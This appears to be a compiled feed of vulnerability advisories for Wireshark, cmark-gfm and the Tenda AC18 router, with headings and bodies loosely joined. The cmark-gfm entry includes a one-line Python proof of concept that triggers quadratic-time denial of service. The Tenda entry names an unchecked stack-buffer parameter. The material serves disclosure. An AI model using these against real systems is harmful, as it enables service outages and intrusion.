GNW dissector crash in Wireshark 4.0.0 to 4.0.2 and 3.6.0 to 3.6.10 and allows denial of service via packet injection or crafted capture file

CVE-2023-0416: Fuzz job crash output: fuzz-2023-01-03-10777.pcap (#18779) · Issues · Wireshark Foundation / wireshark · GitLab

cmark-gfm is GitHub's fork of cmark, a CommonMark parsing and rendering library and program in C. Versions prior to 0.29.0.gfm.7 contain a polynomial time complexity issue in handle_close_bracket that may lead to unbounded resource exhaustion and subsequent denial of service. This vulnerability has been patched in 0.29.0.gfm.7.

**Impact**

A polynomial time complexity issue in cmark-gfm may lead to unbounded resource exhaustion and subsequent denial of service.

**Proof of concept**

python3 -c 'print("!\[\[\]()" \* 10000)' | cmark-gfm

Increasing the number 10000 in the above command causes the running time to increase quadratically.

**Patches**

This vulnerability has been patched in 0.29.0.gfm.7.

**Note on cmark and cmark-gfm**

cmark-gfm is a fork of cmark that adds the GitHub Flavored Markdown extensions. The two codebases have diverged over time, but share a common core. This bug affects both codebases. We would like to thank @jgm for his help with fixing and disclosing this bug.

**Credit**

We would like to thank @jgm for implementing the fix for this bug.

CVE-2023-22486: Quadratic complexity bug in handle_close_bracket may lead to a denial of service

Tenda AC18 V15.03.05.19 is vulnerable to Buffer Overflow via /goform/formWifiBasicSet.

****CVE-2023-24166****

Tenda AC18 Unauthorized stack overflow vulnerability

https://www.tenda.com.cn/download/detail-2683.html

****3\. Vulnerability details****

The function "formWifiBasicSet" contains a stack-based buffer overflow vulnerability. In the function, it reads in a user-provided parameter, and the variable is passed to the function without any length check, which may lead to overflow of the stack-based buffer. As a result, by requesting the page, an attacker can easily execute a denial of service attack or remote code execution with carefully crafted overflow data.
